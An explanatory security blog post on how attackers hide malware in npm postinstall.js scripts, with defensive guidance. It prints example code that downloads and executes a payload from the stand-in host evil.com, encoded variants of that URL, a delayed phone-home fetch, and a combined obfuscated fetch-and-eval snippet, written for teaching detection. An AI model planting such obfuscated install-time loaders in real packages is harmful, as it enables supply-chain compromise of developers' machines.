postinstall.js
You run npm install. Packages download. Dependencies resolve. The terminal shows a success message.
Behind the scenes, postinstall.js executes automatically. You did not approve it. You did not review it. Your security scanner may have missed it.
And inside that script, malicious code is hiding in plain sight.
Attackers have perfected the art of obfuscation. They do not write straightforward malware. They bury it under layers of encoding, indirection, and deception.
Let me show you exactly how they do it. Layer by layer.
The postinstall.js Trap
Before we dive into obfuscation, you need to understand why postinstall.js is such a popular attack vector.
When you install an npm package, certain scripts run automatically. The postinstall script executes immediately after installation completes. No user interaction. No confirmation. Just automatic execution.
Why attackers love postinstall:
1. Runs without user approval
2. Executes with the user's privileges
3. Triggers during dependency installation (nested packages)
4. Often ignored by security reviews
5. Can download additional payloads
A malicious package does not need to trick you into running a command. The npm ecosystem runs it for the attacker.
Let me show you where these attackers are hiding the malicious code inside the scripts.
Layer 1: JavaScript has been minified and all white space has been removed.
Minifying malicious JavaScript is the first level of obfuscating the code.
What minification does:
1. All unused space in the code has been deleted.
2. All comments in the code have been deleted.
3. All variable names have been abbreviated (for example, "function A()..." instead of "function DownloadMalware()...").
4. All line breaks in the code are removed.
Why this works:
Although humans will find it extremely difficult to read, this code will execute as a valid piece of JavaScript. Security scans looking for particular character strings within the data will also find it difficult because of the way the code units have been restructured.
Example of original readable code:
function downloadMaliciousPayload() {
const url = 'https://evil.com/payload.exe';
const destination = '/tmp/update.exe';
fetch(url).then(response => {
response.arrayBuffer().then(data => {
fs.writeFileSync(destination, Buffer.from(data));
exec(destination);
});
});
}
After minification (same code):
function a(){const b='https://evil.com/payload.exe',c='/tmp/update.exe';fetch(b).then(d=>{d.arrayBuffer().then(e=>{fs.writeFileSync(c,Buffer.from(e));exec(c);})})}
The code still works perfectly. But to a casual reviewer, it looks like gibberish.
Attackers often stop here for low-effort campaigns. But sophisticated attackers add more layers.
Layer 2: String Obfuscation and Encoding
The second layer hides meaningful strings. Attackers encode URLs, commands, and function names.
Common encoding techniques:
Hex encoding:
// Instead of: 'https://evil.com/payload.exe'
const url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x70\x61\x79\x6c\x6f\x61\x64\x2e\x65\x78\x65';
Base64 encoding:
// Instead of: 'https://evil.com/payload.exe'
const encoded = 'aHR0cHM6Ly9ldmlsLmNvbS9wYXlsb2FkLmV4ZQ==';
const url = atob(encoded);
Character code arrays:
// Build string from character codes
const url = String.fromCharCode(104,116,116,112,115,58,47,47,101,118,105,108,46,99,111,109,47,112,97,121,108,111,97,100,46,101,120,101);
Why this works:
Static analysis tools will not pick up on these strings because they only appear after they have been decoded at runtime.
How to bypass this layer:
Run the code in a controlled environment and observe what gets decoded, also use dynamic analysis tools that perform a run time check on the code before it gets flagged.
Layer 3: Execution Indirection and Delayed Triggering
This layer allows an attacker to disconnect the malicious function from the actual terminating action they want to perform (trigger). They will frequently put the real payload behind a function that appears to be benign.
The following are some of the techniques at this layer:
1. Indirectly Calling Functions:
Instead of calling downloadMalware() directly, save the function's name in an array and call it by index.
const actions = ['downloadMalware', 'exfiltrateData', 'installBackdoor'];
const maliciousAction = actions[0];
this[maliciousAction]();
2. eval() Using Concatenated Strings:
Prepare the concatenated string for the command that runs the malicious process.
const cmd = 'd' + 'own' + 'load' + 'Mal' + 'ware';
const exec = 'ex' + 'ec';
global[cmd]();
3. Creating Delays Through setTimeout or setInterval:
The attacker can schedule the malicious action to execute many minutes/hours after the initial installation takes place.
setTimeout(() => {
// Malicious code here
fetch('https://evil.com/phone-home');
}, 300000); // 5 minutes delay
How does this work?
Most security scans will perform abstained from running immediately after a product is installed, instead they will only assume a product is safe once no immediate malicious actions occur. The delay in execution allows the malicious code to bypass these initial security scans.
How do I bypass this layer of protection?
Monitor the processes that are created over a long period of time after the installation has occurred. In addition, use network monitoring that lasts beyond the initial installation period.
Layer 4: Multiple Ways To Fetch Payloads
The fourth layer has multiple ways to retrieve payloads, where the postinstall.js file, that contains little to no malicious content within it, only requests a payload from a server.
Stage 1: Innocently Fetch
The postinstall script will create a request to what looks to be a valid endpoint.
fetch('https://cdnjs.cloudflare.com/ajax/libs/metrics.js')
.then(response => response.text())
.then(code => {
// Execute the fetched code
eval(code);
});
When looking at the request URL appears to call an Analytics/Metric library. The domain also appears to be calling a trusted CDN.
Stage 2: The Payload Resides on the Server
The attacker owns the remote server. The server will return benign code if the request is from a security scanner (can be identified by IP/user agent) OR it will return the payload if the request is coming from a real victim.
Stage 3: The Payload Executes
The fetched code will be evaluated and executed thus compromising the victim's computer.
Why It Works:
1. The postinstall script itself has no malicious strings in it
2. Static analysis only sees the fetch to a CDN as opposed to malware
3. The real payload never touches the disk until runtime
4. The server can selectively target victims
How to bypass this layer:
Monitor the network requests on your machine from any processes that may install through npm. Potentially analyze the code prior to executing it if needed and block any additional outbound requests after downloading.
Putting 4 Layers of Obfuscation Together:
Advanced attackers will combine all four layers of obfuscation. Here is an example of what the total outcome of a combined layer of obfuscation would look like for a malicious intent:
“Downloading and executing a backdoor from evil.com”
After Layer 1 (Minification) - Uses very short variable names and no added spacing.
After Layer 2 (Encoding) - Uses hex-encode urls / commands.
After Layer 3 (Indirection) - Stores function names in an array and executes them later.
After Layer 4 (Remote Fetch) - Ultimately fetches from a website using CDN and calls eval() to perform the execution.
The resulting postinstall.js could look something like this:
eval(atob('ZG9jdW1lbnQud3JpdGUoIlRPRE8iKQ=='));
setTimeout(()=>{const a='aHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvYW5hbHl0aWNzLmpz',b=fetch(atob(a));b.then(c=>c.text()).then(d=>eval(d));},180000);
It is very difficult for humans to understand because there are not any visible strings that seem malicious. The code downloads the file from a valid CD AND delays its execution for 3 minutes then executes what is returned via eval().
Real-World Examples of Attacks Using postinstall.js
1. Typosquatting Attacks
Attackers have published typosquatted packages that were similar to popular packages and had a postinstall hook that downloaded a credential harvesting program.
While a legitimate package had no postinstall hook, the typosquatted version had an obfuscated postinstall.js that downloaded credential harvesters. For example, if someone typed npm install crypto-js (the name of the legitimate package), a user would be safe. However, if they typed npm install crypto-js-fix or npm install crypto-js-patch they would get the typosquatted package.
2. Dependency Confusion Attacks
Attackers published malicious packages that were named identically to internal private packages and were downloaded instead of the private packages when someone typed npm install. This attack worked because the public registry entries have precedence over the private registry entries.
The postinstall.js that was used in this case had a severely obfuscated script with all four types of obfuscation. The initial scripts and obfuscation were not discovered until weeks later after detection of unusual network activity.
3. Compromised Maintainer Account
Attackers gained access to a legitimate maintainer's npm account and added a postinstall script to a popular package using multi-stage payload fetches to try and avoid immediate detection. The result was thousands of compromised downstream applications that trusted that package registrant.
How to Identify Malware in postinstall.js
Static analysis by itself will not work for you. Attackers continue to find new methods to work around signature-based detection.
For Security Teams
1. Monitor npm install processes
Use EDR tools to monitor processes started by npm or node. Pay close attention to unexpected child processes (PowerShell, cmd, bash).
2. Block eval() in package scripts
There are numerous security tools available that will intercept & log eval() calls made from npm packages, as obfuscation is usually present when a package calls eval().
3. Perform ongoing monitoring of the network
All outgoing connections for all npm install processes should be blocked unless they were approved before the installation took place. For the purpose of installing software, you do not need Internet access to install legitimate package files.
4. Perform scanning of dependencies in your applications
Use a dependency scanner (e.g. npm audit, Snyk, Socket.dev, etc.) to check the package tree and identify those with postinstall scripts.
5. Utilize a sandbox environment
Never install untrusted npm packages directly onto production systems; use isolated build environments or containers for these types of installations.
6. Pin package versions
Use exact versions in your package-lock.json file. You need to set your project to disallow automatic updates for dependencies.
For Individual Developers
1. Research Your Package Before You Install It
You can do this by using the command: "npm show <package-name> scripts" which will give you a complete list of the scripts that are run after a package is installed.
2. Use npm install --ignore-scripts
If you suspect that a package may contain malicious code, you should add the option "--ignore-scripts" to your command to prevent the installation of any post-install scripts after a package is installed (e.g. "npm install suspicious-package --ignore-scripts").
3. Test Packages in a Sandbox Environment
You can create a sandboxed environment to test your packages using either "sandboxed-node" or a Docker container.
4. Review Your Packages Download Count and Developer History
Typically, suspicious packages will have fewer than expected downloads, a recent date of creation, or a new maintainer.
If You Come Across a Malicious Package
Immediate steps:
1. Uninstall the package - (npm uninstall )
2. Revoke all exposed credentials - Consider that all credentials on your machine are compromised
3. Antivirus Scan - Search for any items remaining on the system that could mark 'persistence' like scheduled tasks, startup items and registry changes.
4. Review your logs - Review your network logs looking for any outbound connections made around the time of installation of the package.
5. Report - Send an email to npm support at [email protected] reporting the incident.
Containment:
1. Isolation - If indicators of compromise exist on the machine, disconnect it from the network before you make any other changes to that machine or other machines.
2. Credential Reset - If you used any credential to log into the affected machine, change the passwords for those accounts.
3. Lateral Movement Observation - Verify whether the attacker has gained access to any additional machines using the same account as your affected machine.
Summary: Trust and Verify
The npm ecosystem is extremely powerful. Post install scripts are helpful for legitimate use cases such as compiling native modules or downloading large files.
However, the same feature has been used as an attack vector by malicious actors.They have become experts at hiding malicious code under layers of obfuscation.
Minification obscures intent. String encoding hides indicators. Indirection delays detection. Remote fetching evades static analysis.
One package. One npm install. One hidden postinstall.js. And your system is compromised.
Review your dependencies. Audit postinstall scripts. Run untrusted packages in sandboxes. And never assume that because code looks like gibberish, it is harmless.
Sometimes the gibberish is exactly where the malware lives.
FAQ Section
1. What is the purpose of a postinstall script and what threat do they present to a system?
This JavaScript file received by the user when they install an NPM package executes immediately after installation, without requiring explicit authorization from the user or owner of the computer. Attackers use postinstall scripts to run malicious code that may run as soon as the user installs the package, usually without the user noticing. As a result, postinstall hooks are commonly used as supply chain attack vectors.
2. What are the four layers used to obfuscate a postinstall script?
Layer 1 : Minification: Removes unnecessary whitespace and shortens variable names; Layer 2 : String Encoding: Encodes URLs and commands in hex or Base64; Layer 3 : Indirection: Delays the execution of the script and invokes an indirect function call; Layer 4 : Downloading the Real Payload: Retrieves the malicious payload from a networked server at run time.
3. If an NPM package contains a malicious postinstall.js script, how can I find out?
Look for packages that have a postinstall hook using eval(), have obscure variable names, have strings that are encoded in hex, or attempt to make network requests to domains you do not recognize. Run npm show name> scripts to verify if a postinstall script exists, and only install suspicious packages in an isolated environment using the --ignore-scripts option.
4. Are security scanner services capable of locating malware located inside obfuscated JavaScript files like postinstall.js?
Because obfuscated files hide their true nature through encoding to protect their true payload, normal signature type scanners will not be able to locate obfuscated malware. Instead, behavioral analysis, network monitoring and sandboxing will allow for detection of most, if not all, forms of multi-layered obfuscation.
5. How can I safely install npm packages while avoiding the execution of post instal lscripts?
Use the --ignore-scripts flag with the npm install command. Example: npm install --ignore-scripts; this will prevent the execution of any package scripts; including postinstalls. In a production environment, it is best to audit the package in a sandbox before using it and to use pinning with an exact version number in your package-lock.json.